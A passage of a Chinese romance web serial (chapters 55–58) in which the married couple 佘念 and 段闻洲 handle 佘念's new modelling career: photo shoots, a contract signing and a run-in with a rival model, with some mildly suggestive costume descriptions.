“我帮你跟祁宁沟通,明天陪着你过去。” “好呀好呀,谢谢老公!” 感受到头顶的温度,又得到了如此有力的支持,佘念担忧的一颗心瞬间落了地。 于是,段闻洲很快给祁宁回了个电话,同人详谈了拍摄要求。 包括但不限于摄影师态度要好,不能为难人,一旦佘念有不适应的地方,可以随时中止拍摄等。 对此,祁宁拍着大腿表示一切好谈,保证安排得明明白白。 于是第二天,佘念被段闻洲开车,送去了祁宁名下公司的摄影棚。 “小佘念,特别感谢你愿意来救场,从今往后你就是我的大恩人,给你当牛做马在所不辞。” 上前迎接两人,祁宁快步上前,泪水汪汪地握住佘念的手说道。 “你客气啦,我还不确定能不能做到呢。” 佘念害羞地挠了挠脸颊。 “行了,先进去。” 余光瞥见两人握在一起的手,段闻洲不动声色地将其分开,开口道。 第55章 嘿, 咋这么小气呢。 见佘念被段闻洲搂过,拉开了与自己的距离,看破不说破的祁宁挑眉。 “先去化妆间吧, 化妆师已经等着了。” 说完, 他无奈地耸了耸肩, 受不了这对腻歪的人,便掉头领着两人过去。 服化造一条龙流程下来, 花了差不多三小时,佘念都快坐得腰酸背痛了, 相比之下在一旁陪着他的段闻洲倒还很有耐心,一直饶有兴致地盯着看。 “好啦化完啦, 现在可以出去了。” 终于, 化妆师小姐姐满意地看着自己的杰作, 似乎是对这次妆造格外满意。 闻言, 佘念缓缓睁开了眼,对着镜子里的自己端详了一番,然后转头看向旁边的段闻洲问: “老公, 好看吗?” 为了方便人打量, 他还特意站起身来走近几分,在人面前转了一圈。 由于新款珠宝系列名叫天使之泪, 所以今天妆造的设计主题是天使, 只见佘念身上穿着一件法式花边泡泡袖衬衫,v领几乎快开到肚脐眼,交叉的系带在其间起着聊胜于无的遮挡作用, 流露出几分欲遮还羞的感觉。 他的头发被卷了卷,呈波浪形,额前别上了一个粉色爱心发夹, 和下半身的浅粉色短裤是同一色系。 “噢差点忘了这个。” 化妆师猛地一拍脑袋,回身又拿过一对小翅膀,安在佘念的身后。 ——这下更像个可爱的小天使了。 段闻洲的视线扫过人的胸前时,蹙了蹙眉,有几分不悦。 “怎么领口这么大。” 他替人扯了扯衣领,想拢一拢其袒露的胸膛。 “这就叫又纯又欲嘛,您看这个懵懂清纯的小眼神,再看看这性感的领口,多有感觉。” 化妆师嘻嘻笑着解释。 纯是挺纯的,毕竟那双湿漉漉地大眼睛睁着望来,不管是谁都会被击中心脏的。 至于欲么…… 视线又瞥了瞥雪白的锁骨以及更下方,仿佛一眼就能将人的上半身一览无遗,段闻洲忽然觉得口干舌燥起来。 突然觉得,有点后悔让小朋友来拍摄是怎么回事? “小佘念,化好妆了吗?化好了的话可以来摄影棚了。” 这时祁宁从门口探出头来喊道,在看清人的打扮后眼前一亮。 ——这也太合适了,他都已经能预料到成片会有多惊艳了。 为了让佘念拍摄时更自在,今天的摄影棚被包了场,只有他一个模特进行拍摄。 好在宣传照的拍摄难度不大,更何况佘念那张清纯无死角的脸摆在那,怎么拍都好看。 一开始他还有些紧张,身体僵硬,不过渐渐被摄影师引导沉浸其中后,便渐入佳境,慢慢适应了拍摄过程。 一旁的段闻洲坐在旁边耐心陪同,看着小朋友顺利地进行着拍摄,他安下心来。 只不过,看着摄影师指导的动作,他不由得皱了皱眉。 拍摄的动作,必须要这样吗? 一会用鸭子坐的姿势,大腿并拢,小腿向外翘,歪头抱着巨大娃娃,展示手腕处佩戴的手链。 一会用趴在地上的姿势,胸脯贴地,衣领摇摇欲坠,双手捧着脸颊,摇晃着耳垂上的耳夹。 一会用仰躺的姿势,双手伸过头顶,双脚一屈一直踩在墙上,笔直流畅的雪白腿部一览无遗,偏头露出锁骨处的项链。 一会又张嘴作势要咬苹果,微眯双眸,露出洁白牙齿和火红小舌,偏偏眼神还故作迷离的神情,瞳孔涣散。 咳,小孩子家家的,摆这些姿势,成何体统。 似乎是注意到他投来的目光,趴在地上的佘念回看过来,迎上他的视线后,冲其歪了歪脑袋,甜甜一笑,身后的翅膀轻轻晃了晃。 太可爱了,仿佛真的天使降临一样。 心脏像是中了一箭,段闻洲悄悄红了耳根,不由得偏头轻咳一声。 “小佘念的表现力真不错啊,这么快就适应镜头了。” 看着棚里的小模特,祁宁感慨着,又扭头看向段闻洲问。 “考不考虑让你家佘念往平面模特这个方向发展啊——咦你耳朵怎么红了?” “没有,你看错了。” 被戳破的段闻洲尴尬地否认,岔开了话题。 拍摄中场休息时,佘念立刻舞动着洁白的小翅膀,飞到了段闻洲身边。 他从后背处一把搂住了人,兴奋地道: “老公,我表现好吗?” “很棒。” 段闻洲微微勾着唇角,本想抬手摸一摸他的脸颊,不过想了想怕弄乱人的造型,便转而挠了挠人的下巴。 “嘿嘿。” 被夸的佘念笑意更甚,眯着眼,似乎格外享受被撸下巴的感受,仿佛一只小猫咪。 “何止是表现好啊,简直是完美。” 一旁的祁宁对人竖起大拇指,赞不绝口。 “要不要考虑一下正式转行,签到我公司下做平面模特?” 他的名下还有一家娱乐公司,在业内名气不算小,能拿到的资源也不错,如果作为新人能签到这里,是一个很好的起点。 听见他的建议,佘念挠了挠头,一下子拿不准主意,下意识扭头看向身边的人。 “这事不急,让他想清楚以后再给你答复。” 于是段闻洲率先开口替他回答。 “行,那我先去摄影师那边看看照片。” 明白这种事情不是一拍脑袋就能定下的,祁宁表示理解,随即起身去找摄影师。 “老公。” 等人走远后,佘念眨了眨眼,像是在认真思考。 他将脑袋往前伸了伸,这样只要一侧头就能与段闻洲对视。 由于他往前挪的动作,胸膛全部压在了人的肩膀上。因为弯着腰,他宽大的衣领向下敞开,显得胸前空空荡荡的。 此时的段闻洲只要稍微垂下眼,便能览尽人胸前的风光。 “咳,坐下说。” 他撇开视线,清了清嗓子,拉着小朋友的胳膊在自己身边的位置坐着。 “噢,老公,你觉得我应该答应吗?” 乖乖坐下后,佘念一脸正色地问。 “你喜欢拍摄吗?” 没有急于回答,段闻洲反问道。 “其实我还挺喜欢的,感觉很有意思。” 回想起刚才的拍摄过程,他不仅不觉得枯燥乏味,反而还觉得很有成就感。 “喜欢的话,为什么不考虑答应?” “嗯……因为我先想听一下你的意见。” “难道我说不同意,你就不考虑了吗?” “嗯啊。” 没想到佘念居然点了点头。 瞧见人的反应,段闻洲不由得诧异,也有几分感慨。 ——小朋友怎么能乖成这样,哪怕是喜欢的事,自己说不行也会乖乖照办。 “佘念,你不需要按我的意见来办事。” 说着,段闻洲温柔地抚摸着人的脸侧,耐心地解释道。 “你应该按照自己内心的想法来,想做什么都可以,我都会支持你。” “我的想法吗……我是想答应的。” 感受着贴在脸颊的大掌的温度,佘念下意识蹭了蹭,被引导着回答。 “那就答应,你只管拍摄就好,其他的事情都放心交给我。” 说到这,段闻洲的眉眼染上如水一般的柔情,沉声说道。 ——不管做什么,自己都会成为佘念最坚实的后盾,他只需要展开翅膀肆意在空中翱翔,把后背安心地交给自己就好。 而自己会永远为他撑起一片天。 闻言,佘念久久没有言语,抿紧嘴唇,眼底眸光闪烁,满是感动。 “谢谢老公——” 紧接着,他猛地扑进人的怀里,感激地道。 “客气什么,这是我该做的。” 不管是出于哪个身份,或者是从本心想法而论,现在的自己都有义务、有意愿这么做,段闻洲轻抚着他的后背,柔声说。 老公真的太好啦,来到人类社会后遇见了他,真是最幸运的一件事。 佘念只觉得心底有暖流涌过,令他没忍住仰起头,在人的脸颊上亲了一口。 亲完后,他冲人咧嘴一笑,并不害羞,而是十分坦然。 段闻洲正想说什么,但被走回的祁宁给出声打断: “好了好了,注意影响,你俩别腻歪了,快来看看正片。” 他从摄影师那拿过了相机,给两人展示成果。 只见照片里的佘念神情动人,美得像一个真正降临尘世的天使,浑身上下散发着圣洁与清纯。 如牛奶般洁白的肤色,如湖水般清澈的眼眸,不谙世事的懵懂天真神情,气质与点缀在其身上的蓝宝石饰品相得益彰,相互衬托。 嘴角微微扬起,便足以摄人心魄。 “这是我吗?” 看着照片,佘念怔怔地问,难以置信。 “很好看。” 而段闻洲眼底含笑,毫不吝啬地夸赞道。 “是吧是吧,感觉都不用怎么修,可以原图直出当宣传海报了。” 祁宁也是越看越满意,啧啧称赞。 “怎么样,这么有天赋,真的不考虑入行当模特吗?我保证给小佘念安排你最好的经纪人和资源。” 他不由得再次劝说道。 闻言,佘念和段闻洲相视一笑,然后由佘念开口回答: “好呀。” 听见了肯定的答复,祁宁兴奋得原地蹦了蹦,连忙道: “好好好,我这就让人去准备合同,有什么要求你尽管提……要不干脆我们今天把代言人的合同也签了吧?直接做我们品牌的代言人怎么样?” “行了啊你,没完了。” 见他叽里咕噜地说了一大串,段闻洲笑着打断。 “公事公办吧,到时候你让人带着合同去我公司那边,确认过后我们就签。” “没问题。” 毕竟签经纪约这种事不是过家家,对人的安排祁宁并不觉得有什么,满口答应下来。 由于拍摄效果极好,所以接下来的补拍环节都不用进行,今天的拍摄工作就算结束了。 “今天辛苦你们啦,我们先走了。” 换回衣服后,佘念乖巧地冲摄影师和祁宁挥手道别。 “好哦小佘念我们下次见,今天真是太感谢你了,有时间请你吃饭。” 祁宁也对人拼命挥着手。 临走时,段闻洲顿了顿,忽然间又停下脚步,转头看向了祁宁: “刚刚的照片,都发我一份吧。” 第56章 祁宁名下的娱乐公司名叫G.D, 公司效率很高,很快就拟好了合同,下个礼拜就派人前往段氏集团的大楼, 着手签约事宜了。 在段氏集团进行签约, 其实是段闻洲的提议。因为他想让自家的法务团队先审核过合同后, 确保无问题后再进行签约。 当头上午,佘念跟随段闻洲先一步去了公司。 由于距离约定的时间还早, 所以他先在人的办公室里待了一会。 他躺在沙发上,很乖地没有出声打扰段闻洲, 自顾自地玩着手机。 办公室内摆放着的黑色真皮沙发,大气正式, 很适合用来接待客人, 不过如今上面却多出了几个抱枕。 柔软的抱枕是卡通状的, 可爱又舒适, 与沉闷的沙发格格不入。 那是后来段闻洲添置的。 因为每次佘念来,都会躺在沙发上,空空荡荡的商务沙发怎么看都不适合躺下休息, 所以他专门买了柔软的抱枕放在上面, 用来给小朋友靠着。 这不,现在的佘念就怀里抱着一个, 脑袋下枕着一个, 舒舒服服地睡在沙发上。 快到十点时,他准时放下手机,腾的一下坐起, 抬眼望向段闻洲。 虽然一句话也没说,但用目光暗示人快到点了。 感受到人无声提醒的视线,段闻洲没忍住勾了勾嘴角, 不待小朋友开口,便停下了处理工作的手。 两人来到会议室,此时几名法务已经在里面提前等候了。 “段总好。” 见老板进来,他们纷纷正式地问好。 而在看见跟在段闻洲身后的佘念后,他们先是一愣,随即笑着冲人打招呼: “嘿,小佘念你来啦。” 欢快的语调,同方才一本正经的语气截然不同。 “你们好呀。” 而佘念也同样兴高采烈地对他们挥着手,回应道。 看着和自己员工打成一片的小朋友,段闻洲无声弯了弯嘴角。 很快,祁宁也带着经纪人和其他工作人员抵达了。 “我们没迟到吧?” 就跟回自己家一样,祁宁大咧咧地拉开椅子坐下,抿了一大口茶水。 “差一分钟。” 看了看时间,段闻洲挑眉。 今天虽然说是要签合同,但现场的气氛并不严肃,因为大家都是熟人。 “我先介绍一下,这位是孙哥,给佘念找的经纪人,他资历很老,现在名下带的艺人也不多,很适合刚入行的小佘念。” 祁宁指了指一道而来的男人,介绍道。 为了满足段闻洲的要求,他特意安排了全公司最靠谱的经纪人来负责佘念。 “你好。” 说着,孙哥主动打着招呼。 “你好,我是佘念。” 见是经纪人,佘念主动上前,礼貌地和人握手问好。 “以后佘念就辛苦你多照顾了。” 而段闻洲则对其微微颔首,拜托道。 “您客气了段总,这是我该做的。” 孙哥笑道。 其实最开始被安排负责佘念时,他还有些担心,毕竟一个刚入行的模特新人,背后又有如此坚实的靠山,来头不小,万一是个嚣张跋扈的少爷怎么办。 没想到实际接触一下才发现,佘念这个新人不仅和照片上长得一样好看,不是高p,而且性格也很随和谦逊,一点架子都没有。 看起来一个是个很好相处的人,想必日后带起来应该不棘手。 “那先来看看合同吧。” “行。” 闻言,祁宁让随行的工作人员掏出合同递过来。 当他看见段闻洲把合同交给法务后,不由得瞪大了眼: “我靠哥们,你就这么不放心吗,安排了你们家这么多法务来看合同。” 这有点太大材小用了吧,堂堂段氏的法务团队,能力在业内都是出名了的,居然被用来审核经纪约合同。 “抱歉,公事公办,理解一下。” 段闻洲歉意一笑。 “懂懂懂,佘念的事都是特殊的是吧。” 对此祁宁并不在意,耸了耸肩,不忘低笑打趣着人。 对此,段闻洲不置可否,只是微微一笑。 “段总,合同没有问题。” 将合同内容仔细审核过后,法务说道。 “好,辛苦了。” 闻言,段闻洲点点头,又拿过合同仔细看了看后,重新抬头看过来。 “其实,我还有几个要求,需要跟经纪人提前说一下。” “您请讲。” 忽然被点到名,孙哥推了推鼻梁上的眼镜,洗耳恭听。 “第一,接任何工作之前请都要事先和佘念沟通,不要违背他的意愿,因为他不是来赚钱的。” “第二,请不要让佘念受委屈,我希望他在圈内是开心的,遇到任何棘手的情况,都务必第一时间反映给我,让我来解决。” 毕竟进军模特界,换句话说也是一脚踏进了娱乐圈,段闻洲担心单纯的佘念会不适应这个大染缸,万一受欺负了怎么办。 所以他事先提醒经纪人,在日后要以佘念的个人意愿为主,不要为了赚钱或者名气而拼命接各种工作。 说到最后,段闻洲感受到肩膀上有落下的重量,他顿了顿,偏头看去,发现是佘念主动靠了过来。 仿佛没骨头一样,佘念软着身体靠在人的肩膀上,轻轻蹭了蹭,然后抬头对他露出一个甜甜的笑。 ——这是全身心依赖和放松的姿态。 见状,段闻洲并没有将人推开,反而亲昵地揉了揉人的脑袋,嘴角噙着笑意,满眼宠溺。 把这幅画面看在眼里,经纪人孙哥若有所思。 ——难怪段总会提出这样的要求,没想到两人的感情这么好。 “好的段总,这些都不是大问题。” 他点点头,一一答应下来。 在确认完各项条件都没有问题后,两方签署了合同。 坦白来说,祁宁开出的各项条件都很优渥,作为新人的经纪合同来说已经是天花板级别的了,所以作为感谢,段闻洲也为其公司相应的投资了一些项目。 “那么,以后多多指教啦小佘念,我们一定把你捧成最红的模特。” 收好合同后,祁宁嘿嘿笑着,满意地对人伸出手。 ——不仅签下了佘念,还拿到了段闻洲的投资,今天简直是大丰收啊。 “好呀,多多关照啦。” 见状,佘念也咧嘴笑着,同人握了握手。 “对了,还有一件事。” 等法务离开会议室后,祁宁几人闲聊了一阵后也准备先行告退,不过临走时段闻洲忽然想起来了另一件事,出声询问道。 “什么事?” “关于佘念已婚的身份,需要隐瞒吗?” 虽然说之前两人的婚礼有邀请过媒体,但并没有大肆报道,所以其实很多人并不了解佘念的切实长相,其在外界的知晓度不高。 娱乐圈业内人士的婚姻状况会影响到本人的发展,所以段闻洲想要提前确认一番。 如果说,隐瞒已婚身份才能让佘念发展更好的话,他也不会介意,而是会配合。 “这个,模特不是偶像,所以在这方面影响不大,不必刻意宣传或隐瞒。” 琢磨片刻后,经纪人孙哥给出回答。 换句话说,不管公布与否,都对佘念的影响不大,顺其自然就好,被发现了就顺势公布,没人提也就不主动说。 “不过我们也会让公关团队提前拟好有关方案,以应对可能的突发状况。” “好,麻烦拟好以后也发我一份。” 等经纪人和祁宁等人离开后,会议室内只剩下了佘念和段闻洲。 “老公。” 忽然,佘念从自己的椅子上起身,又坐到了段闻洲的腿上。 “怎么了?” 这段时间对小朋友的各种举动习以为常,段闻洲搂住他的腰,轻声问道。 “你辛苦啦。” 说着,佘念弯了弯眼睛,眸子里盈满了笑意,然后捧起他的脸,飞快地在人脸颊上亲了一口。 老公真可靠呀,刚刚签合同的时候自己什么都没做,老公一个人就解决了所有事,自己只需要签字就好。 既然如此,那就奖励老公一个能缓解疲累的亲亲好了! “客气什么。” 感受到柔软的唇瓣在脸颊上一触即分,段闻洲先是一愣,随即锋利的眉眼染上柔和。 就在他还想继续说下去时,会议室的门忽然被从外推开,打断了他: “抱歉我把东西落下了——” 只见祁宁突然从门外探出头来说道。 而在看清会议室内的两人后,他整个人愣在原地。 一时间,屋内陷入诡异的沉寂,几人大眼瞪小眼,谁都没有先说话。 震惊的祁宁,无奈的段闻洲,还有状况外的佘念。 “打扰了嗷,那我的笔记本就送你们了,拜拜。” 当机立断,祁宁立刻撤身离开,把会议室的空间留给两人。 段闻洲:…… 佘念:咩啊? “那个,佘念,从我身上下去吧……” “诶?为什么呀?” ———— 自此,佘念便正式签约成了G.D公司名下的模特艺人。 同时,没过多久,他为祁宁自创品牌的新系列天使之泪拍摄的宣传图也被放出。 精致的完美娃娃脸,搭配上贴切的天使造型,衬托得本就华美的宝石饰品系列更显超凡脱俗,宛如真正的天使降临人世间时落下的眼泪。 一时间,佘念的海报在网上形成了铺天盖地的讨论热潮,好评如潮,并且广告还被投放在市中心人流量最高的大屏上循环播放。 ——对此,祁宁表示,感谢段总的倾情赞助,大气承包了所有的宣传费用。 新系列珠宝项链的销售量极其可观,比市场部预计的还要高好几倍,可谓是让人意想不到。 也因此,商务邀约雪片一样涌入了经纪人孙哥的邮箱之中。 趁热打铁的,经纪人孙哥选取了其中最合适的一个工作,为佘念接下了签约后的第一份工作。 ——那就是,为某杂志拍摄一期毛绒绒主题的封面,妆造形象是猫耳少年。 第57章 这个杂志是业内有名的时尚杂志, 近期正好在策划一个动物系列主题,选取不同动物的拟人化形象进行封面拍摄。 而他们设计的猫耳少年形象,可爱中带着俏皮, 非常契合佘念的气质。 不仅符合形象, 而且不是低端合作, 是以经纪人选择了这个拍摄,来作为佘念签约后启动的第一个工作。 拍摄当日, 段闻洲本想亲自送人去摄影棚的,不过由于有会议冲突, 最终佘念是被经纪人送过去的。 一抵达摄影棚,我们黏人的小蛇舌草精就立刻给人发了消息: 【佘念:老公, 我到了噢, 棚内照片.jpg】 而对面的段闻洲虽然在开会, 但几乎是秒回: 【段闻洲:工作加油, 放轻松】 【佘念:好哦!ovo】 “好了佘念,别看手机了,先过来做造型。” 和现场的工作人员对接完后, 经纪人孙哥一回头, 就看见自家艺人捧着手机在打字,并且脸上漾着溺死人的笑。 ——用脚趾头都能猜到是在和谁聊天。 忽然觉得, 艺人的婚姻状况太稳定了也有点腻人怎么回事? “来了!” 闻言, 佘念和老公发完最后一条消息,就迅速收起手机,十分乖巧地小跑过来。 过了大概半小时, 做完妆造的他从化妆间里出来。 此时的佘念换上了专门定做的服装,整体是黑色的元素,黑色无袖背心加黑色短裤, 短款的外套宛如披肩,只遮到上半截胸膛,勾勒出姣好的身材比例,s的腰线和笔直的腿格外明显。 除此之外,脚套和手套也是做成了爪子的形状,连肉垫都很逼真,大大的猫爪手套戴在手上,很是可爱。 而最吸引人注意的,其实是人头顶的一对猫耳,还有身后的猫尾巴。 猫耳被做成了发夹,夹在头发上,比发箍更自然,看上去仿佛真的是从头顶长出来的一样。而猫尾巴的内里则是有一条铁丝,能随意摆出各种造型,此时正保持着向上翘起的幅度。 “好看嘛?” 一边说,佘念一边招财猫一样挥了挥爪,同时扭身看了看身后的尾巴。 “好看。” 经纪人不由得捂住脸,快要被萌出鼻血,对人竖起大拇指点了个赞。 “我来了——怎么样怎么样,在拍了没有?” 就在这时,祁宁不知从哪冒了出来,未见其人先闻其声。 “祁总,您怎么来了?” 见他出现,经纪人诧异不已。 按理来说,这种工作现场,祁宁作为老板是没必要赶来的。 “嘿,我这不是路过顺便来看看吗。” 祁宁满不在乎地摆摆手,一点老板的架子都没有,不知道的还以为他是个工作助手。 其实他跑来,一是因为刚好就在附近,所以顺便过来看看,二是听说段闻洲今天不能陪同拍摄,所以他就替人过来看看。 ——替老段来看看,看看他家的小朋友第一天工作,适应得怎样,会不会受欺负。 “佘念在哪呢……噢我的天,这也太可爱了吧!果然我没看错人!” 而在看清佘念的扮相后,他惊讶得语调都情不自禁拔高了几分,同样也被萌到了。 噢,谁不喜欢毛绒绒的正太小男孩呢! “谢谢。” 第一次扮动物大成功,或许说是倒反天罡也不为过,听到夸赞后某植物才安心了不少,放下心来。 很快摄影师已经就位,不便多聊,佘念跟两人挥挥手后,就立刻赶过去了。 和经纪人一块陪在现场看了会,确认没有其他问题后,还有其他工作要忙的祁宁便先一步离开了,留经纪人继续在这守着。 临走时,他还专门掏出手机,对着佘念拍了一张照片。 啧啧啧,这么可爱的扮相,某个大忙人没亲眼看见真是太可惜了,就让自己这个大善人来帮帮他好了。 同一时间,集团大楼的段闻洲收到了一条新消息: 【祁宁:图片.jpg】 他发了什么? 好奇的段闻洲点开一看,发现是一张抓拍的照片。 画面里,佘念正背身同摄影师交谈着什么,随着他微微躬身的动作,臀.部上方翘起的猫尾巴和头顶的猫耳格外惹眼。 在黑色短裤的勾勒下,佘念后方的曲线极其明显,宛如起伏的山丘一样,在深色的衬托下,白皙的肤色更加干净雪白。 猫尾的末端藏于衣摆,藏得极好,乍一看还以为这尾巴是真的从人身后长出来的一样。 有点可爱。 看着照片里的佘念,段闻洲不由得心想。 【段闻洲:今天麻烦你跑一趟了。】 缩小照片后,他打字对人道谢,发送完了消息后,他顿了顿,并没有从聊天框里退出。 稍加思索后,他动了动手指,再次点开图片,然后默默按下了保存键。 “段总,这是刚刚的会议资料。” 这时,秘书从办公室外走进,将一沓资料放在桌子上。 “谢谢,辛苦了。” 就在秘书准备转身离开时,段闻洲像是忽然想起了某件事,又叫住了人。 “还有什么吩咐吗段总?” 闻言,秘书停下脚步。 “关于旗下子公司的X服装品牌,下季度的代言人找好了吗?” “暂时还没有,现在还在初步筛选阶段。” 听见这话,段闻洲微微颔首,随即从抽屉里拿出了一份简历,交给秘书。 “把这个资料交到那边吧,一起报名参加筛选。” 他所递过去的,正是佘念的模卡及资料。 “是,段总。” 接过材料后,秘书余光一瞥,认出这是佘念的资料,犹豫片刻后,她开口询问。 “要让那边特别关照一下吗?” “不必。” 没想到段闻洲却摇了摇头。 “不要跟那边的人透露,直接按正常的报名流程递交材料就好,不要干涉结果。” 虽然说这个代言人尚未拟定,但作为段氏名下品牌之一,只要段闻洲一句话,就能直接内定佘念。 但他并不想这么做。 因为他觉得佘念可以凭借自己的实力,拿下这个代言人的。 这是自己对佘念的信任,他相信以佘念的水平,是有这个实力的。 退一万步说,就算没有拿到,那也无伤大雅,不会有什么损伤,但是一旦动用了权力,那就变味了。 因为佘念成为模特,只是去实践爱好,体验生活的,犯不着去当走后台的资源咖。 当然,如果遇到特殊情况,段闻洲自然也是不介意动用资源,为小朋友撑腰的。 “是,我这就去办。” 弄明白老板的意思后,秘书领命退下,准备去把材料送过去。 ———— “好佘老师辛苦了,拍摄完成啦,效果很棒,你可以收工了。” 经过一上午的拍摄,佘念的工作结束,摄影师一说完,他便乐呵呵地跑回化妆间了。 ——毕竟下班谁不高兴呢? “老公!快看我的新造型。” 进到化妆间后,他并没有急着卸妆,立刻拿出手机,给段闻洲拨去视频。 即使无法亲自来到现场,但小朋友依然会主动分享新造型和见闻。 视频一接通,屏幕上就出现了一只可爱的黑色小猫咪,他脑袋歪啊歪,头顶的猫耳也随之甩啊甩,看上去俏皮极了。 被这个画面可爱到,段闻洲的嘴角情不自禁扬起一抹笑。 “可爱,很好看。” 他如实夸道。 “嘿嘿,是吧,这个耳朵好毛绒绒,尾巴也是,摸上去手感好好。” 说着,佘念将手机撑在桌子上,自己走远了一点,然后转过身扭了扭,给人全方位展示屁股后面的尾巴。 黑色的猫尾蓬松可爱,随着腰肢摆动的动作晃啊晃,浑然天成,好像他的身后就该有一条尾巴。 这个动作有几分引诱的味道在里面,暴露出完整的臀.部,像是在邀请一样。 虽然只是在展示尾巴,但总觉得好像在散发不可言说的意味。 “这个造型很配你。” 没来由觉得浑身有几分燥热,段闻洲的神色暗了暗,哑声道。 “你喜欢吗?那要不我问问摄影师,能不能把这套衣服卖给我呀?” 好像老公也很喜欢的样子,佘念又来回秀了秀尾巴,然后哒哒哒跑回桌边坐下,咧嘴笑道。 “咳,都行。” 这样的衣服拿回来,怎么想都觉得有点奇怪,好像在玩什么play一样,但不知为何,段闻洲拒绝的话在嘴边一拐,最终就那么咽回去了。 “好哦,那我等会去问一下。” 得知了老公的想法后,佘念点点头,然后开始换衣服。 连视频都没挂断,他竟直接转过身去,将上半身的黑色背心给脱下。 这个化妆间是单人的,今天除了佘念外不会有其他人使用,所以直接在这里换衣服也是可行的。 只不过,对于视频那端的人就不太行了。 屏幕里忽然多出了一整片雪白,小朋友精瘦的身体暴露在视线范围内,段闻洲呼吸一滞,一时间都忘了该先出声提醒,还是先兀自挂断。 “咳,佘念。” 他哑声提醒。 “嗯怎么啦?” “下次记得去试衣间换衣服。” 不要随随便便就当着人的面脱衣服。 ———— 收拾完后,佘念从化妆间里出来,正想准备去大厅找经纪人汇合,穿过走廊时不小心撞到了一个人。 “啊不好意思。” 见状,佘念连忙道歉。 被撞到的那人捂着肩膀,本想说话,但在看清人后,却是一顿,反问道: “你是佘念?” “你好,你认识我吗?” 居然能说出自己的名字,是熟人吗?佘念仔细地打量了一番对面的人。 那人看上去比自己还小,身高倒与自己差不多高,顶着一头雾蓝色的短头发,丹凤眼上挑,眉眼凛冽,面相看上去有点凶,气质也冷冰冰的。 “呵,谁不认识你。” 男生嗤笑一声,眼底浮现出一抹不屑。 “新来的关系户,背后资本那么强的新人模特,谁不知道啊。” 第58章 来人话里的嘲讽意味太过明显, 即使不明白他什么意思,但佘念也知道来者不善。 “我奉劝你一句,实力比小动作更重要, 想要站稳脚跟, 与其走后门, 不如想办法提升自己的专业度。” 说着,那人上下扫了一眼佘念, 然后拍了拍他的肩膀,语重心长地道。 留下这句话后, 他就大步离开,什么话都没再说了。 什么是, 走后门? 看着人离开的背影, 佘念一脸懵逼, 歪了歪脑袋。 好奇怪噢这人, 听不懂他在说什么。 算了不管了,事已至此先下班吧。 脑袋瓜想不明白,佘念索性没再纠结, 继续向大厅走去。 “孙哥——” 看见经纪人后, 他兴奋地挥舞着胳膊。 “走,送你回去, 今天的工作算是结束了。” 临出门前, 孙哥像是忽然想起了某件事,停下脚步问佘念。 “话说,刚刚你有没有撞见阮晨?” “那是谁?” “就是一个染着蓝色头发的男生, 个子跟你差不多。” 蓝色头发?难道是刚刚那个人吗? “好像见到了,就在走廊上,他还跟我说了几句话。” 佘念如实交代。 “说了什么?” “说我走后门。” 啊? 闻言, 孙哥先是一愣,随即无奈扶额一笑: “他还是老样子,你别往心里去。” “他一直说别人走后门吗?” “倒也不是,阮晨他虽然比你还小两岁,但入行比你早很多,算是业内老前辈了,一直不太喜欢走旁门左道的新人,估计是误会你了。” 原来,阮晨是阮家的小少爷,自小就是童星出道,虽然家里并不支持他当模特,但他依然坚持自己的梦想,顶着压力在模特界打拼,到如今已经是业内的佼佼者了。 虽然是豪门受宠爱的小少爷,但阮晨混到如今的位置,却全是靠自己的努力,完全没有靠家里的后台,和其他新人一样,该吃的苦一点没少吃。 是以他非常讨厌那些走后门的资源咖,还有把模特这个职业当玩票的人,对其嗤之以鼻。 而佘念一入行的成绩太过亮眼,比普通的新人起点高太多,更好何况圈内的人只要稍加打听,便能得知他的身份和后台,所以让阮晨误会了。 “没事,那些话别放在心上,他嘴巴一直很毒。” 孙哥拍了拍佘念的肩膀,安慰着人。 ——自己的这个新艺人有多厉害他是知道的,全是靠自己的天赋和外貌吃上这碗饭,压根一点段总的资源都没要。 “嗯。” 闻言,佘念乖乖地点了点头,立刻将刚才的事情抛之脑后,心情丝毫没受影响,乐颠颠地下了班。 ———— 几天后,佘念又有一个广告的拍摄工作,经纪人送他去拍摄现场。 在化妆间,他看着造型师替自己打着胸前的领带,一下子联想到了段闻洲的西装,也是每天都需要打领带。 “姐姐,等会拍摄完有时间的话,能不能麻烦你教我怎么打领带呀?” 他甜甜地礼貌询问。 “当然可以呀。” 被这么可爱的小模特又乖又软地拜托,造型师瞬间母爱泛滥,毫不犹豫地答应下来。 于是在拍摄结束后,佘念又单独留了一会,跟着人家一步一步地学怎么打领带,学会了才正式下班。 “对了佘念,你上次拍杂志封面的片酬已经到位了,我给你打进卡里了。” 等人上车后,经纪人一边启动车,一边对人说道。 上次的杂志十分热销,创造了今年月销量的新高,足以说明所拍摄的封面效果有多好。 “真的吗?多少钱呀?” 闻言,方才还低头看手机的佘念眼睛倏地一亮,瞬间望了过来。 “五万。” 这笔钱虽然不多,但是对于新人来说已经足够可观了,更何况祁宁为表关照,在合同里把公司所拿的分成比例压到了最低。 “哇好耶!” 听到这个金额,佘念高兴得海豹鼓掌。 瞧见他这幅开心的样子,孙哥不由得也嘴角向上扬起。 ——作为段总的爱人,这五万块连人家段氏一分钟赚的零头都比不上,可佘念还是会如此高兴,可见是一个心性多么单纯的小孩。 天真,听话又敬业,还有天赋,带这么一个艺人简直不要太舒心。 “噢对了孙哥,麻烦你在前面的商场停一下可以吗?我想去买点东西。” 半路上,佘念忽然道。 闻言,经纪人将车停进地下停车场,而佘念径直下了车,独自进了商场。 过了半小时,他拎了一个黑色纸袋回来。 “买了什么?” 见状孙哥随口问。 “嘿嘿,秘密。” 没想到佘念十分神秘,竟眨了眨眼,还稀奇地保密起来。 “喏哥,这个给你。” 接着,他又将买的奶茶递给孙哥,算是一点犒劳人的小心意。 “谢谢。” 接过后,孙哥余光一瞥,瞧见他买了三杯奶茶,其中的两杯一人一杯分了,那么剩下的那杯是给谁的,不言而喻。 因为他们正在驾车前往段氏集团大楼。 上一次佘念所拍摄的杂志确实销量很高,因为堂堂段总的桌面上,都摆放着三本。 “段总,快到饭点了,一会赏光一起吃个饭如何?” 合作伙伴呵呵一笑,邀请道。 “抱歉,今天有约了,下次有机会再聚。” 没想到段闻洲却歉意地婉拒了。 和商业上的合作伙伴们道别后,他乘坐电梯下到了一楼大厅。 “老公,这里——” 一来到一楼,某个在等候区坐着的小朋友就发现了他的身影,立刻冲其挥舞着手臂。 或许是等不及了,不待人走近,佘念便主动小跑上前,一蹦一跳的样子好像只活泼的兔子。 “老公,你下班啦?” 来到人跟前,他摘下鼻梁上的墨镜,露出了眼睛,圆溜溜的眼珠子亮晶晶地看来,满眼都是段闻洲的身影。 